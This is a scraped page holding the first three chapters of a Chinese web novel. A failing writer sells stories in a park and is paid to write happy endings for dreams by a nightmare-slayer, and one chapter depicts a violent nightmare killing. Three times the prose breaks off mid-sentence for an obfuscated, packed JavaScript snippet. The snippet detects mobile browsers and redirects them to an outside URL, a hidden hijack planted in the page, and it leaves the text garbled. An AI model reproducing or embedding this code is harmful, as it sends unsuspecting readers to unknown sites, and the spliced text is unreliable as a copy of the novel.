《金牌造梦师》 1. 第 1 章 “扶不起的阿斗!” 孟晓初轻抿一口刚上来的冰美式,身体被冰得一激灵。她全身无力地躺在咖啡店里的粗布沙发上,脑子里回荡着摔门离开前孟父说的最后一句话。 扶不起的阿斗。 大开的房门被人重力地关上,发出响亮的撞击声。隔着厚厚的门墙,孟晓初还是听见了那一句话,清清楚楚的。 “我怎么就生出了你这个废物?!” 孟晓初坐在电竞椅上双手撑着脸,两眼无神地盯着电脑屏幕上的邮件,一副萎靡不振的样子。不出所料,她又被网文平台拒签了。这样的邮件在这一个月内,她收到了不下四十封。 她的生活已经昼夜颠倒,整个人仿佛被妖怪吸光了精气神。孟晓初疲惫地叉掉邮件深叹了口气,郁闷地低头靠在桌子上。 突然,身后传来开门的动静。 孟晓初侧过身子回头一瞧,刚吵过架的孟父正打着电话的满脸笑意径直朝自己走来,手上还拿着一份单子。挂断前孟父冲着电话那头讨好地捧话,将单子放在女孩跟前。 孟晓初定睛一看,白纸上赫然印着“安桥艺术工作室入职申请”几个大字。一瞬间,她明白了孟父的意思。女孩眼神一暗,语气冷淡:“我不去。” 男人双手环抱,恨铁不成钢道:“我已经给他打好招呼了,申请填了明天就可以入职进去。” “我说了不去,你为什么还要逼我去呢?”孟晓初蹭的一下站起来,积攒了许久的火气蹭蹭蹭往上冒,声音不自觉地拔高,“写文是我的梦想,是我的人生目标。请你不要再多管闲事了!” “不去那你就别呆在这个家里!你以为你能写出什么惊天地泣鬼神的绝世好文吗?你压根儿就不是那块料子。”原本就压着怒火的孟父这会直接上了头,抬手一记响亮的耳光甩在了女孩的脸上冷眼讽刺道:“我看你是在国外读书读傻了,不知道自己几斤几两!” 右脸火辣辣的烧灼感让孟晓初瞬间泪流,自尊被人踩在脚下狠狠蹂躏。天生要强的她咬紧牙关,牙齿发出咯咯声响,努力让泪水不从眼角落下。 “不靠你我也能活下去。” 女孩疲惫地搓了把脸,她决定不回去了,除非自己在小说事业上干出一番成绩来。每一个成功的人在最开始都会做一些离经叛道的事情来向世界证明自己的与众不同,而离家出走是孟晓初走向成功迈出的第一步。 其实毕业后她不是一直都待在家里的,中间出去在自己家公司上过两个月班。然而,那两个月是她过得最苦的日子。白天上班被领导骂被同事阴阳关系户,晚上还得熬夜码字肝小说,到最后直接是天天迟到加班,人都暴瘦了十几斤。 最后经过深思熟虑,孟晓初辞去了工作宅家一心搞小说,但一直到现在都没有什么起色。她决定去好朋友关瑶那儿住几天,等找到工作后再搬出来。 “阿瑶,我和家里吵架了可以来你公寓里住几天吗?” 发完消息后,孟晓初没再动那杯冰美式,直接提上背包潇洒地推开店里的玻璃门。关瑶是她出国留学那几年认识的朋友,也算她半个室友,两人一起合租了半年。 一直到下车,对方都没有回她消息。 孟晓初没有在意而是轻车熟路叫门卫开门,按下电梯楼层后便独自玩手机。电梯门叮得一声打开,女孩在电梯里迅速整理一番仪容最后才走出去。 “咚咚咚——” “你谁?” 开门的不是好朋友关瑶,而是一个赤裸着上半身穿着短裤的年轻人。“你找谁?”男孩抬眼上下打量一番孟晓初,语气有些不悦。 “我找关瑶。”女孩撇开眼,回答道。 男人烦躁地翻了个白眼,“喂,有人找你!”随后,他又对着从浴室急匆匆跑出来的女孩吐槽道:“你家床太硬了,冰箱有吃的没?”关瑶没有理他,直接带孟晓初到走廊边上。顺势关上门,把女孩往里探的脑袋挪回来。 “小男孩身材挺好的,你男朋友?”孟晓初嗅到了八卦的味道,贱兮兮问道。 此言一出,关瑶白净的脸蛋瞬间涨红迅速捂住女孩的嘴巴,小声说:“不是我男朋友,是我老板的儿子……我们发生了一点儿误会。” 孟晓初立马投来“我懂”的眼神,但嘴角的笑容却怎么都压不下去。 两人找了一个汉堡店坐着,关瑶点了两个套餐。趁着等餐这个时间,孟晓初把早上发生的事情一清二楚地告诉对方。 “真不打算回去了?”关瑶一脸忧愁,又道:“那你现在身上还有钱吗?我可以借你点。” 孟晓初大咬一口汉堡摇摇头,声音含含糊糊的,“我想来你家住几天。” 此话一出,关瑶的神情更加苦闷,桌上的手机因持续收到信息不停地震动着。女孩在心中徘徊了半天,犹豫再三还是拒绝了。“对不起啊晓初,我家你可能来不了,他现在也住在我这里的。” “那个男孩?” 关瑶立刻点头,“他也和他爸吵架了,他爸让他回去他就一直装聋作哑。”孟晓初不是不讲理的人,连连道理解,只不过心里还是泛起了一丝丝醋意。将关瑶送进家门,女孩还特意打量几眼那小子,临走之际还用嘴型警告对方。 别动歪心思。 男孩气愤地翻了个白眼,坐在沙发上打开外带的汉堡。关瑶尴尬一笑,拿起手机偷偷给晓初转了半个月工资过去。 离开关瑶家后,孟晓初闲散地走在大街上,去哪里她心里也没数。十月中下旬的海城已经进入深秋,大街小巷铺满了枯黄的梧桐树叶,空气中弥漫着一股泥土混杂着雨水的湿腥味。 孟晓初坐在公园的长椅上,抱着背包无聊地观望着来往的陌生人。现在,她的身上只有六千块钱,足够她这半个月的生活。但是,半个月后呢?她不能坐吃山空,然后再一直靠朋友的救济过下去。 网上各大的招聘软件她都已经广投简历,目前还没收到一条回复。 女孩靠在长椅上,迷茫地望着雨后湛蓝的天空。忽然,她的余光里出现了一个五颜六色的小推车。长椅的另一端坐了个推着卖玩具杂耍小推车的老大爷。 孟晓初悄悄地盯着大爷的小推车,上面堆满了各色各样的玩具。“大爷,您卖这个一天能赚多少钱呢?”女孩慢慢往大爷的身边挪一了点。 大爷喝了口玻璃杯里的浓茶,摇摇头冲女孩摆手,“挣不了几个钱,一天就几十块。” 女孩若有所思地点点头,突然,灵光乍现。 孟晓初背着包一个箭步冲出公园,跑到附近的超市把自己写过的短篇小说全部打印出来,再拿了一个可移动的展架。一番整理后,女孩又在上面贴了一个厚纸板。 上面用粗笔写着两行字。 接代写、定制文,出售短篇小说 价随客定。 孟晓初拍了一张照片发给了关瑶,并配文:小本生意,概不赊账。对方很快回复了一个大拇指的表情包,还有一条五秒的语音。 “大作家这会儿真为五斗米折腰了。”女孩听得直乐呵。 大爷虽然低着头看着手机上的小短剧,但余光却注意着女孩的一举一动。迅速滑过好几集短视频后,他实在禁不起好奇心的诱惑,开口问道:“姑娘,你这是做什么?” “接代写和定制,内容主题随便。”孟晓初在展架上随便拿了一本订好的小说递给大爷,“不满意可以重写。” 大爷接过东西大致翻看了几页,明白了具体是个怎么事后又狐疑道:“我从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529337|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没见过这种的,你写好的东西为什么不投给杂志社这些?还可以赚点稿费。” 孟晓初尴尬一笑,嘴巴张张合合吐不出一个解释的字眼,这些小说都是出版社杂志社退回来的东西。大爷似乎是察觉到女孩脸上的异样,没再开口追问下去,而是从包里掏出了二十块钱买走了手上的这本小说。 “其实值不了这么多的,我给您找钱。”孟晓初在包里一顿翻找都瞧不见零钱的影子。她忘了在超市换一些现金。 大爷摆手拒绝,神情轻松笑道:“你自己写的价随客定,我觉得它值这么多。”此话一出,孟晓初突然很难过,她紧紧攥着那二十元现金,内心如一瓶打翻的调味瓶,五味杂陈的。 整个下午孟晓初都待在公园里,来往的路人除了随手翻阅几下小说、简单问话后就没了后续,场面格外的冷清。大爷都卖出了四五个小玩具赚了百来块钱,女孩都还没有迎来真正意义上的第一单。 直到傍晚附近的小学放学,这种无人问津的局面才打破。 “你确定价格是我们定吗?”为首戴着眼镜的男孩问道,其余两人分别从书包里掏出自己的作文本。 三个小学生。 孟晓初目光落在三人被揉的不成样的作文本上,嘴角扬起笑容:“是的,你们定。” “我们给你十五块,你帮我们写作文,半个小时可以吗?” 电光石火之间孟晓初的大脑迅速思考,犹豫过要不要做这单生意。几秒过后,女孩快速接过作文本子蹲在长椅边上,握着中性笔模仿着字迹开始写作文,丝毫不拖泥带水。 写完后三人随意看了一眼,找不出差错便快速装进书包里。“我们明天还来找你写。”戴着眼镜的男孩道。几人走后,天边的火烧云红得愈发强烈。孟晓初将钱装进口袋里,又把小推车上的小说整理一番。 “哎呀,今天你挣得算是比我多哦!”大爷调侃道。 “明明就没有!你的一个玩具最低十块,我得帮写两篇作文呐!”女孩迅速反驳道。两人互相打趣一番,看着公园里慢慢多起来饭后跳广场舞的大爷大妈们,大爷也开始收拾东西回去。 告别后,孟晓初打算再摆半个小时摊,没有人来的话她就回酒店吃饭洗澡睡觉。她坐在长椅上低头看着手机上的韩剧,耳边是广场舞土嗨的DJ曲,混杂着出来散步的人们闲聊声。 昏黄的路灯透过大树的缝隙照到地面上,晚风一吹,本就摇摇欲坠的枯叶便缓缓落下,飘到孟晓初手机中间。 孟晓初拿开叶子,伸手揉了揉酸胀的脖子,一抬头才发现自己的跟前站了一个青年人。他侧身捧着女孩的小说正聚精会神地读着,脸上丝毫看不出对这个作品的任何态度。 长时间低头盯着手机屏幕让女孩视线模糊几秒,她有些看不清男人的脸。 他站在这里多久? 孟晓初虽然疑惑,但还是挂上了招待的热情笑容,还没流程化地张口询问对方喜好时,那个男人却率先开口。 “一万八,写个故事结局,你接吗?” “什么?” 孟晓初一脸不可置信地望着他,止不住再次开口反问:“你确定吗?” 男人放下小说,原本被遮挡一大半的脸现在完全露出来,借着长椅旁的路灯,孟晓初这才看清了他的长相。 那一眼,她的脑海里只有八个字。 朗目疏眉,面如冠玉。 男人的穿着很随意,黑白灰经典三色。挺括浅灰色大衣搭着垂坠黑色宽松西裤,将他身形挺拔、宽肩窄腰的优势表现得淋漓尽致。一双白色板鞋中和了前者内敛沉静,多了一点柔和。 “确定。”他声音低沉清冷,又道:“但我的时间紧急,如果你能做我可以加钱。” 2. 第 2 章 海城一中位于老城的东部,全校实行严格精细的军事化管理,每年的重本率达到百分之九十。 高三生蒋安回到出租屋时,墙上挂钟的时间正好是十一点。他没有立刻休息,而是抽开凳子,翻出物理笔记本看错题。本子上密密麻麻的字迹看得男孩立刻两眼发昏,眼睛眨巴眨巴几下都没能清醒。忽然,一股禁锢感袭上全身。 “三校联考除了一个人,大家发挥得都很不错。”讲台上班主任拿着成绩单视线落在最后一栏。 “蒋安,你是全班倒数第一只有三百多分,我觉得你可以不用等高考了。”班主任毫不掩饰地露出嫌弃的神情,冷言道。 男孩视线渐渐清晰,听到熟悉的话语心里瞬间一惊,他深知自己又来到了这个做过千百次的梦境。 接下来故事发展的顺序蒋安都再熟悉不过。所有人都会朝他看来,自己在众人的注视下会疯狂地在书柜里找永远都不会出现的联考卷。 随后梦境会发生改变,自己回到出租屋里和买菜回来的外婆大吵一架,然后失去理智杀掉对方。 他陷入无止境的慌张和焦虑中,直到天亮梦醒。 但只要跟着梦境的顺序做相反的事情,这个局面就可以打破,心中坚信事实,梦魇所再造的梦境就不能影响他的心智。 这是蒋安三天前在好梦局所求来的自保方法,并且今晚还有高人会来梦中帮他铲除梦魔。只要熬过今晚,他就安全了。 “复读三年了,你到底有没有用心?”此话一出,整个教室里的学生一致回头看向坐在角落里的少年,眼神透着看不透的麻木。 蒋安抬起头看着老师,眼里没了之前的错愕,镇定地站起来反问道:“老师,你说我是倒数第一,那么我的总分到底是四百多少呢?” 好梦局的人说过,梦魇在制造梦境时不会过于细致,总会失掉一些细节。蒋安志在必得地盯着台上的女人,双手闲散地撑在桌子上。 被问话的女人脸上马上黑了下来,将成绩单放在第一排并示意往下传。下一秒,一个具体的数字便从她的口中蹦出来。“468分,你满意了吗?” 男孩一愣,不可置信地看着桌子上的成绩单。上面每一个人的成绩都格外清晰,连他每科的分数都有。 他确实考了468分。 蒋安余光瞥到四周的人都低头谈论他,脸上也露出浮夸的嘲讽。他迅速弯下腰开始在桌框里找试卷,只要这个找不到,说明自己还是在梦境里。 原本应该杂乱的书框现在变得整整齐齐,跟现实中的位置不差一丝。联考卷子没有以往梦里那么难找,这一次,他随手一翻便在文件夹里找到了。 男孩把所有科目的卷子和答题卡抽出来,上面不仅有清晰的题目和答案,还有用红笔的批分。蒋安用手仔细抚摸着答题卡背面,他写字一贯用力,背面都会有凸起的质感。 他不死心地一遍遍摸着,背面是凸起的…… 蒋安拿起同桌的生物书,昨天他开小差时候在三十五页的下面画了一条腊肠狗,脖子上面还系着红色的领结。他快速翻动着图书,神情恍惚地喃喃自语道:“不可能。” 看到那条红色领结的腊肠狗时,男孩脑中的防线瞬间被击溃,双腿一软跪坐在地上麻木地看着前方。 不可能,这一切都是不可能。 他们说过梦境里是不可能这么真实的。 蒋安开始不知所措,用力地挣扎着试图思考出正确答案。突然,他想到了之前在朋友间听到的方法。据说在梦里想要醒来,可以咬自己产生痛感强制从梦境剥离。 想到这里,男孩没再去思考方法的真实有效性,毫不犹豫地撸起袖子在自己的手臂上恶狠狠地咬上一口。 一股锥心的刺痛感立刻涌上心尖,胳膊上的牙印慢慢往外冒血,这一切场景清楚地收在蒋安的眼里。 男孩的内心开始动摇。 忽然,他两眼一黑。身体没有了支撑惯性地往下倒,意识彻底散去的那一秒,蒋安听到了同学的尖叫声和班主任的大喊。 原来,这一切都是真实的。 再次睁开眼,外面的天色已经黑了,蒋安动了动手指,发现自己已经回到了家里。他坐起来揉了揉酸胀发痛的脑袋,下床站在书桌前。屋中央的节能灯光亮昏暗,少年的模样模糊地映在玻璃窗上,他扫了一眼墙上的挂钟,现在是晚上的八点半。 他到底睡了多久? 这是不是还在梦里? 突然,门口传来钥匙的声响。蒋安回头一瞧,是外婆回来了。还没等他开口询问,对方便劈头盖脸地骂了上来。 “你到底怎么回事?这次居然考了这么点,你对得起我天天待在这里照顾你吗?班主任打电话给我叫我多注意你的身心健康。”外婆将从超市带回来的打折菜随手甩在地上,神情凶狠:“我看你这个样子,倒是好得很。” 蒋安如鲠在喉,很想反驳一切但不知道从何说起,他确实考砸了。 然而,外婆的抱怨并没有停下,反而更加变本加厉。她抬手用力指着蒋安的脑袋,语气尖酸:“考了三年都考不出个重本,你的脑子怎么就这么笨?怪不得你爸妈都不想要你。” “你这样的人就算考一辈子都考不上的,我为什么有这个不争气的孙子!” 少年不敢抬头回答,他的胸口被豁开一道口子,鲜血淋漓。 原本只到自己肩膀的外婆突然变得庞大起来,手上的力气也大的离奇。蒋安觉得自己变小了,如地上的蚂蚁一样仰望着身边的人。闭上眼,耳边是同学的戏谑和老师的冷嘲热讽,睁开眼,眼前是外婆喋喋不休的责骂。 蒋安无助地环顾四周,那些声音在这个狭小的房子里一遍一遍地重复,脑海里自动闪现出每个人看戏的表情。 他好像西游记里的孙悟空,被话语形成的无形紧箍咒折磨地头痛欲裂,生不如死,却做不出一点反抗。 在这痛不欲生的时刻,男孩忽然扫到了书桌下的小刀,那是外婆拿来择菜的。顿时,心中产生一个大胆的念头。 蒋安迅速捡起那把刀紧紧握在手中,回头声嘶力竭地喊道:“你不要再说了,不要再说了!你以为我想考砸吗?我比谁都想考好!” 外婆的脸上丝毫没有恐惧,反而浮现一种诡异的笑容,轻声道:“你还想杀我吗?来吧,把我杀了吧,这样大家都解脱了。”她的声音柔和如微风,让人忍不住地向前靠近,像痴迷毒药一般不愿从中脱身。 男孩的目光落在锋利的刀尖上,脑子里出现了另外一个声音。 杀了她,杀了她,杀了她…… 是自己的声音。 蒋安不再犹豫直接走到外婆的跟前,左手提起妇人的衣领,心一横,刀尖刺向外婆的脖颈处。 一秒。 温热喷涌的鲜血立刻洒在少年的惨白的脸上。 看到不停往下流的血液,这一刻,他的世界安静了。男孩这才醒悟过来自己刚刚做了什么,他立刻松开手,沾满血迹的小刀吧嗒一声掉在地上。 蒋安转身看向玻璃窗,里面的自己面目全非。他亲手杀死了养自己二十年的外婆。 胸口的那道口子迅速扩大,形成了一个洞。蒋安痛苦又愤怒,他跪在地上一遍一遍质问自己:为什么把一切都搞砸了? 几秒过后,他的眼睛突然看不到颜色,黑白的屋子里从四角的墙顶以肉眼可见的速度渗透出血液,眨眼间占据整个屋子。 蒋安崩溃了。 他倒在地上,双眼猩红。 男孩拿起地上的小刀,准备一刀了结自我。合上眼,脑子里再次浮现出老师和同学的鄙夷的目光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529338|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他承认,不管再怎么努力,复读三年十年二十年,自己永远都是最差劲的那一个。 就在男孩下手的那一刻,突然,一股冰凉的感觉从手腕传来。蒋安猛地睁开眼,自己的的头顶上方站了一个高大的男人,他正以一种冷漠又悲悯的目光俯视自己。 好梦局斩魇师,韩征。 “梦魇等级,丙。”男人声音清冷,从身后缓缓抽出一把银剑。蒋安看着男人径直走向外婆的尸体,连忙坐起身子。 已经死去的外婆化成了面目全非的怪物,它张着血盆大口发出尖锐的吼叫声,一个箭步朝韩征扑来。 男人侧身轻松躲过梦魇,扬起手中的利剑快准狠地劈向怪物的眉中,一声刺耳凄惨的哭喊声响彻房间。 …… 晚上十一点半,洗完澡的孟晓初盘坐在沙发旁,急不可待地打开打开刚到的外卖。她点了很多,酸菜鱼手抓饼小炒牛肉等,一系列菜名报上去直接让视频那头加班的关瑶惊呼好饿。 女孩拿起手抓饼故意在镜头晃了晃,引诱了一番,随后又立刻咬上一大口,逗得关瑶气呼呼的。孟晓初一边吃着饭一边把傍晚“一万八”的单子说出来。 听到这个价格,原本低头核对数据的关瑶猛地一抬头,两眼瞪大,不可思议道:“真给了一万八?” “对啊,当场就给我扫了,一分不少。”女孩放下筷子,吸了一口旁边的奶茶润润嗓子,又开口说:“但是他特别奇怪,他让我写一个故事结局,要幸福圆满的那种。” “我就很好奇啊,到底是什么样的故事结局需要请人来写。按道理来说,一个作者写一个故事之前除了敲下基本的设定,其次就会定下故事的结局是he还是be,有的作者甚至连设定都没有就定了结局。” “可能这故事很复杂吧,烧脑的那种写着写着把自己搞迷糊了。”关瑶随口一提,虽然她不怎么看小说,但这种请人写结局的事情还是头一次见。 孟晓初摇摇头否定了对方的想法,坐直身子说道:“这个故事很简单,一个复读三年的高三生因学习压力成绩一落千丈,自己失手杀死最爱的亲人。” “那你怎么写的结局?”电话那头问道。 “高三生一觉睡醒发现这只是个梦,模拟考的成绩并没有下降反而上升了几个名额,最爱的亲人依旧陪伴在身边温柔鼓励他。一切都只是个梦。” 关瑶点点头,忍不住开口调侃:“这样真好,敲敲键盘就赚了我两个月的工资。大作家,我以后不上班就靠你养了。” 闻言,晓初立刻对着手机竖起中指,两人吵闹了一番。平静后,女孩看着电脑上未退出的文档,目光深邃。 她道:“我总觉得,事情没这么简单。” 两万块买一个小学生都能想到的“合家欢乐”式结局,如果不是这人脑子有病,那就是中间还隐藏了些什么……想到这,孟晓初的脑海里莫名闪过灵异故事中的神鬼。 不由自主一激灵,瞬间起了一身鸡皮疙瘩。 这些和自己应该没关系的…… 韩征把梦魇收集妥当时,天边已经微微泛白,站在出租屋的玻璃窗前还能隐隐约约听见学校的起床铃。他把收据账单压在了蒋安的笔记本下,临走之际,内心做了一番挣扎,最后还是把厚被子不对调地盖在男孩的身上。 走出小区大门,男人把梦魇信息上传到局里系统,顺手还给住院休息的陈三叔发了一条信息。 ——蒋安委托完成,前梦境已抹去。 还没等他关掉手机,对方便发来了回复。一张躺床的臭美自拍照,附言:我看到了他的大脑安稳值,还挺高的。这次梦境你自己写的? 男人呼吸一滞,脑子里迅速闪过靠在长椅上女孩码字的模样。修长的手指在屏幕上敲敲打打,最后简短的回复了一个字,嗯。 3. 第 3 章 有了前一天的经验,孟晓初第二天摆摊的时候专门挑在傍晚放学那会儿。昨天说会带同学来的眼镜果然没有食言,放学后第一时间便来到摊位上。除了见过一面的同学,他还另外带了四个新客。 一群小学生把女孩围成一圈,撑着腰观望着她如何帮自己写作业。几分钟后又觉得无趣,一群人哄哄闹闹地跑开。 在孟晓初眼里,这些作业跟“一加一”没什么区别。她的业务不局限于作文日记抄写,还扩张到数学英语道法。只要拿钱,她什么都可以写。 经过客带客的方法,孟晓初的名字没出一周便在公园后的小学出了名。此后,她的订单量便呈直线上升,不少人一放学就赶过来,连和她同伴的老大爷让出了长椅的另一端。 “每天帮小学生写写作业,锻炼脑子的同时又挣到钱,一举两得啊。”大爷靠在小推车上看着女孩右手写出残影,忍不住开玩笑道。 女孩手一顿,抬头露出比哭还难看的笑容,欲哭无泪道:“你也来干这个吧,一个月赚十万不成问题。”此话一出,大爷乐得哈哈大笑,立刻摆手拒绝。 虽然很累,但一天的生活费不用愁,时间和客源还自由。这是孟晓初梦寐以求的工作。 送走完所有学生后,女孩靠在长椅上喘气休息,手上还拿着小卖部的烤肠。 一口烤肠一口碳酸饮料,吃完孟晓初马上满血复活。夜幕降临,女孩看着公园里散步的人越来越多,起身开始收拾残局把所有小说装进箱子里。 耳机里轮播着最近收藏的英文歌,她小声轻哼着,完全没注意到长椅上的影子多了一个。在即将整理完所有时,孟晓初余光扫到熟悉的东西,浅灰色衣角。 忽然,她的心开始疯狂的跳动。 咚咚咚—— 故作镇定的孟晓初顺着衣角缓缓抬头,瞬间对上了男人的双眼。真的是他,那个“一万八”的有钱人。 “Hi,好久不见。你来这里散步吗?”孟晓初不自觉地后退一步,拉开了两人有些“暧昧”的距离。 这是他们的第二次见面,相隔十三天。 男人没有回答,倾身上前拿走了展架上最后一本小说。“还卖吗?”他问。 女孩点点头,又道:“你来晚了,还有一些小说我都收进箱子里的。”孟晓初为了不让对方发觉自己的异样,努力挤出一个笑容,客气道:“不过,你可以挑挑我还不着急走。” 下一秒,她的笑容便僵在原地,只见男人弯着腰在箱子里翻找,还挑出好几本做比较。 这一刻,孟晓初五雷轰顶,她只是客气一下……没想到当真了。最后,对方挑了三本悬疑小说。男人掏出手机准备扫码付款,女孩眼疾手快地按倒收款码,有些不好意思:“这次你就不用付钱,反正就没几个人看,直接送你吧!” “为什么?”他再次反问。 女孩深叹一口气,嘴角微微上扬,表情严肃:“因为你上一次的付款金额太大了。我知道自己的故事是……”她的话还没说完,耳边却传来一声肯定。 “我喜欢你的文字。” 孟晓初一愣,这七个字如细小的石子,被眼前的男人轻轻一丢砸进了轻幽静僻的心湖里,溅起圈圈不断线的涟漪。 许久,才沉进湖底。 “我家住在城西,到这里要坐很久的地铁。为了下次方便找你定制文章,可以交换个联系方式吗?”男人扶正展架上的收款码,迅速扫了一笔钱过去。 孟晓初感受到包里手机的震动,她脑子一片空白机械地拿出手机露出二维码,等回过神后女孩看到了新的对话框。 你已添加了0624. “我叫韩征,征途的征。” 从那晚起,孟晓初隔三差五就收到韩征的信息,别无其他全是定制文的设定。他们的聊天没有官方式的开场白问好,只有清一色的“请写”和“收到”。 很无聊。 * 陈三叔出院的那一天,好梦局在美团APP上收获到十个好评,并且每个评论都有超过百字的评论。 他坐在轮椅上一条条仔细翻看,心里大概估算一下上门时间,正好是自己住院那几周。陈三叔拍了拍身后推轮椅的韩征,举起手机问道:“这些有好评的梦境都是你写的?” 韩征没有看手机的评论,更没有开口回答问题。他推着轮椅走进深巷,直到一座修建得古色古香的青瓦房前才停下。 没得到回答的陈三叔没好气直接就摆上脸色,在男人准备搬轮椅跨进大门门槛时,他蹭得一下站起来,两手轻拍身上的灰尘迈过门槛扬长而去,剩下韩征一个人迷茫地站在原地。 “你不是说腿还没好吗?”他问道。 陈三叔上楼推开走廊尽头的书房,迎面扑来一股难以描述的味道,清新的草药味混杂着腥臭的血腥。 漆黑的房间中央立有一座两米高的灰塔,每一层塔被纤细的红绳紧紧缠绕,上面用毛笔用力写着晦涩难懂的咒语,塔身四周飘浮着荧绿流动的气体。 仔细一听,还有微小似人的哭喊和尖叫。那是各个等级梦魇在塔中的挣扎。 2024年,据海城日报不完全统计每年该市失眠人数比例达到目前最高,数值为86%,其中年轻人人数最多。从十五年前起此数据便呈直线式增长,时至今日未出现过降低的现象。 即使闭上眼得到了睡眠,但大脑也未得到真正的休息,做噩梦成了人们睡觉休息时司空见惯的一环节。然而长时间做噩梦使人精神涣散,工作生活也大受影响,不少上班族为了摆脱此麻烦去了郊区最大的寺庙烧香拜佛。 在大量信徒祈祷的第一年,上神在人间创建了“好梦局”,位于城西郊区。局里只有陈三叔和韩征两个人,前者掌管着整个海城的梦境卷宗,后者为上神特设的“斩魇师”,赐寒月剑为斩除一切非自然梦魇。 梦魇俗称“鬼压床”,从医学角度看,它是一种常见的睡眠障碍,学名是“睡眠瘫痪”。其核心机制是意识已清醒,但全身肌肉仍然处于瘫痪状态。它的诱因很常见,睡眠不足、压力焦虑、仰卧睡姿等任何一个因素都可以导致。 然而,非自然梦魇是什么? 非自然梦魇是在普通梦魇的基础上,加入根据主人记忆和个人弱点遍造的梦境,放大其心魔反复攻击防线让人在梦里产生更多恐惧。 等防护线被彻底攻破后,梦境挤走意识占据大脑,梦魇便会肆无忌惮吞噬人的精气,而陷入睡眠的人将不会再正常醒来,睁开眼的是一具无人气的傀儡。 为了解决这种情况,好梦局通常在铲除梦魇后创造新的梦境来填补主人残缺的意识,以此维持主人醒来后大脑意识的正常运转。 好梦局开设至今,陈三叔除了每天铲除一些非自然梦魇外,还会治疗生活上的“鬼压床”,出一些睡觉做梦的方子让普通人更好得到休息。 陈三叔越过灰塔径直走向窗口,拉走遮光的窗帘一把推开老旧的窗户。刺眼的白光照亮整个屋子,灰塔四周的流光消失不见。新鲜的空气随着微风飘进屋里,瞬间淡化了一些味道。 与此同时,楼下的炒菜香味也飘进书房,陈三叔仔细闻了一下,是他念叨了很久的红烧排骨。他没有犹豫,直接快步下楼坐到了饭桌边,身后的韩征围着围裙大火炒着青菜。 放在桌上的手机连续震动几秒,蹦出了四五条消息。这个动静被厨房的抽烟机盖过,反而引起了一旁男人的注意。 陈三叔暂停住手上的消消乐,身体微微一侧,还没看清消息内容手机又暗了下去。下一秒,手机因新消息再次亮起来。 这一次,他看清了信息内容。 ——我写了三个版本,你挑一个最喜欢的吧。 最喜欢的? 他顺手点开消息,不了被开屏密码挡在外面。陈三叔只好把手机放回原位,脑子里仔细琢磨这句话。吃饭的时候,坐在对面的韩征没吃几口就放下筷子双手飞快地打字回消息。 陈三叔咬下盘子里最后一块排骨,眼睛直勾勾地盯着似笑非笑的韩征,这人很不对劲。 他一定有事情瞒着的。 趁着收碗筷的功夫陈三叔迅速地在韩征的身后瞄了一眼对方的手机,由于自己第一次做贼偷看心里面紧张地直打鼓,一眼只扫到上面的备注和几个词。 孟晓初。情歌。明天。手写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529339|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。 陈三叔待在厨房里洗碗,两个人的碗本来就少,但他硬生生地磨了半个小时才出来。韩征一向不交朋友,每天都是两点一线的,在他住院那段时间也才开出零一条线。 难道,韩征在这段时间交到女孩子并且谈恋爱了?他很难想象这个活得像人机且呆板的人是如何铁树开花的? 陈三叔擦干手上的水渍,心里悄悄地打起一个念头。 “你昨天为什么不出来摆摊啊?我们的抄写作业特别多,我写到了半夜。” 闻言,孟晓初咧嘴一笑,装作不在乎道:“你们给得太少了,我写完你们的作业要休息好几天才行。况且,哪天要是被发现了我不就完蛋了吗?” “那我们再给你加两块钱行吗?你别不出来。”一个身材矮小的小男生焦急地说,马上把自己的小天才亮出来给女孩扫钱。 没有钱的小同学便拿出自己的零食给孟晓初,一些戏精上身的男同学直接上演“跪地求饶”。看到这幅场景,女孩笑的直不起腰,差点还被自己的口水呛到。 和韩征加上好友后,这人隔两天就会给自己一个故事让续写结局,并且每次付钱都很阔绰。这样的单子比在公园给人写作业强过百倍,但孟晓初还是想来公园,毕竟这群小学生已经建立起深厚的友谊。 孟晓初把自己书包里的零食全部分给了小学生,告别之际,女孩还语重心长地劝告他们别找她来代写作业。一是不想被家长这个定时炸弹找上麻烦,二是她也不想再阻碍祖国的花朵健康成长。 “小说怎么卖?” 孟晓初撑头坐在长椅上看着恐怖电影,余光瞥到展架前有人在翻动小说,头也不抬地回到:“价格你定,小说可以先看,喜欢再付款。一经卖出,概不退还。” 那人噗嗤一笑,语气轻松夸赞道:“这么随意?挺有个性啊姑娘。” 闻言,女孩抬头看向中年大叔开怀大笑,臭屁道:“我的文字更有个性。” “就冲你这句话,我买两本。”大叔随手在展架上拿出两本,给了孟晓初五十块现金。随后他没离开,而是直接坐在长椅的另外一端。他翻开小说认真看起来,手上还拿着笔时不时勾画写字。 